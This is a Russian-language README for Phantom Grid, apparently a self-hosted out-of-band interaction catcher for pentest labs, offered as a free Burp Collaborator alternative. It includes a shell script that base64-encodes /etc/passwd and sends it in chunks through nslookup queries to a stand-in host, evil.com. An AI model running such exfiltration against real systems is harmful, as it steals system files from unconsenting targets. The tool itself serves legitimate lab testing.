Бесплатная альтернатива Burp Collaborator — захват OOB-взаимодействий (HTTP/HTTPS/DNS) с SQLite и восстановлением эксфильтрации
Бесплатная open-source альтернатива Burp Collaborator для лабораторий пентеста
Перехват Out-of-Band (OOB) взаимодействий · HTTP/HTTPS · DNS · SQLite · Сборка эксфильтрации
Phantom Grid — это self-hosted инструмент перехвата OOB (Out-of-Band) взаимодействий — бесплатная альтернатива Burp Collaborator для решения лабораторий пентеста (PortSwigger Web Security Academy, HackTheBox, TryHackMe и т.д.).
| Возможность | Описание |
|---|---|
| Перехват HTTP + HTTPS | Двойной стек с авто-генерацией самоподписанных TLS-сертификатов |
| Перехват DNS | Встроенный DNS-сервер на порту 53 |
| Сборка DNS-эксфильтрации | Автоматическая сборка чанков из многочастной DNS-эксфильтрации |
| Хранение в SQLite | Все данные сохраняются после перезапуска сервера (режим WAL для производительности) |
| 40+ шаблонов payload'ов | SSRF, XXE, SQLi OOB, CMDi, SSTI, DNS-эксфильтрация — готовы к копированию |
| Тактический дашборд | UI командного центра с мониторингом в реальном времени |
| Готов к Docker | Развёртывание одной командой |
| REST API | Полный API управления токенами/взаимодействиями/эксфильтрацией |
git clone https://github.com/YOUR_USERNAME/phantom-grid.git
cd phantom-grid
pip install -r server/requirements.txt
# HTTP only
python server/server.py
# HTTP + HTTPS (auto-generates self-signed cert)
python server/server.py --https
# Full stack (requires sudo for DNS port 53)
sudo python server/server.py --https --dns
git clone https://github.com/YOUR_USERNAME/phantom-grid.git
cd phantom-grid
docker compose up -d
python server/server.py --https &
ngrok http 9090
# Use the ngrok HTTPS URL in your payloads
┌──────────────────────────────────────────────────────────────┐
│ PHANTOM GRID v2.0 │
│ │
│ ┌─────────────┐ ┌─────────────────────────────────┐ │
│ │ Dashboard │─API─▶│ Flask Server │ │
│ │ (React) │ │ │ │
│ └─────────────┘ │ :9090 HTTP capture + API │ │
│ │ :9443 HTTPS capture + API │ │
│ ┌─────────────┐ │ :53 DNS capture │ │
│ │ Target App │─────▶│ │ │
│ └─────────────┘ └──────────┬──────────────────────┘ │
│ │ │
│ ┌──────────▼──────────┐ │
│ │ SQLite Database │ │
│ │ phantom_grid.db │ │
│ │ │ │
│ │ tokens │ │
│ │ interactions │ │
│ │ dns_exfil_sessions │ │
│ │ dns_exfil_chunks │ │
│ └─────────────────────┘ │
│ │
└──────────────────────────────────────────────────────────────┘
Современные приложения часто блокируют запросы со смешанным содержимым (http:// со страниц https://). Phantom Grid v2.0 работает по HTTPS наряду с HTTP.
python server/server.py --https
# Generates certs/server.pem + certs/server.key automatically
# HTTPS available at https://0.0.0.0:9443
python server/server.py --https \
--cert /etc/letsencrypt/live/yourdomain/fullchain.pem \
--key /etc/letsencrypt/live/yourdomain/privkey.pem
python server/server.py &
ngrok http 9090
# ngrok provides a trusted HTTPS URL automatically
Phantom Grid автоматически собирает данные чанковой DNS-эксфильтрации. Это критически важно для извлечения больших payload'ов, которые необходимо разбить на несколько DNS-запросов (метки ограничены 63 байтами).
| Формат | Пример | Сценарий использования |
|---|---|---|
| Простой | data.TOKEN.domain | Эксфильтрация одного значения |
| Индексированный | 0.chunk1.TOKEN.domain | Авто-сессия, упорядоченные чанки |
| С тегом | sess1.0.chunk1.TOKEN.domain | Именованная сессия с упорядочиванием |
| Сигнал завершения | end.sess1.TOKEN.domain | Отметить сессию завершённой |
/etc/passwd через DNSНа цели:
# Split file into 50-byte base64 chunks and send via DNS
data=$(base64 /etc/passwd | tr -d '\n')
token="a1b2c3d4e5f6"
domain="evil.com"
i=0
while [ -n "$data" ]; do
chunk=$(echo "$data" | cut -c1-50)
data=$(echo "$data" | cut -c51-)
nslookup "exfil.$i.$chunk.$token.$domain" >/dev/null 2>&1
i=$((i+1))
done
nslookup "end.exfil.$token.$domain" >/dev/null 2>&1
Просмотр собранных данных:
curl http://localhost:9090/api/tokens/a1b2c3d4e5f6/exfil
Ответ:
[{
"session_tag": "exfil",
"completed": 1,
"chunk_count": 12,
"reassembled": "cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYm..."
}]
Все данные хранятся в phantom_grid.db с использованием режима SQLite WAL для производительности параллельного чтения/записи.
phantom_grid.db
├── tokens — Token metadata
├── interactions — All HTTP/DNS captures
├── dns_exfil_sessions — Grouped exfil sessions
└── dns_exfil_chunks — Individual exfil data chunks
Данные сохраняются после перезапуска сервера. Резервное копирование — копированием phantom_grid.db.
| Метод | Endpoint | Описание |
|---|---|---|
GET | /api/tokens | Список всех токенов со статистикой |
POST | /api/tokens | Создать токен {"label": "...", "notes": "..."} |
PATCH | /api/tokens/<id> | Обновить метку/заметки токена |
DELETE | /api/tokens/<id> | Удалить токен + все данные (CASCADE) |
| Метод | Endpoint | Описание |
|---|---|---|
GET | /api/tokens/<id>/interactions?limit=&offset= | Получить взаимодействия токена |
DELETE | /api/tokens/<id>/interactions | Очистить взаимодействия |
GET | /api/log?limit= | Глобальный лог (все токены) |
GET | /api/poll?since=<ISO> | Опрос новых взаимодействий |
| Метод | Endpoint | Описание |
|---|---|---|
GET | /api/tokens/<id>/exfil | Получить сессии эксфильтрации с собранными данными |
| Метод | Endpoint | Описание |
|---|---|---|
GET | /api/stats | Глобальная статистика (счётчики, размер БД) |
GET | /health | Проверка работоспособности |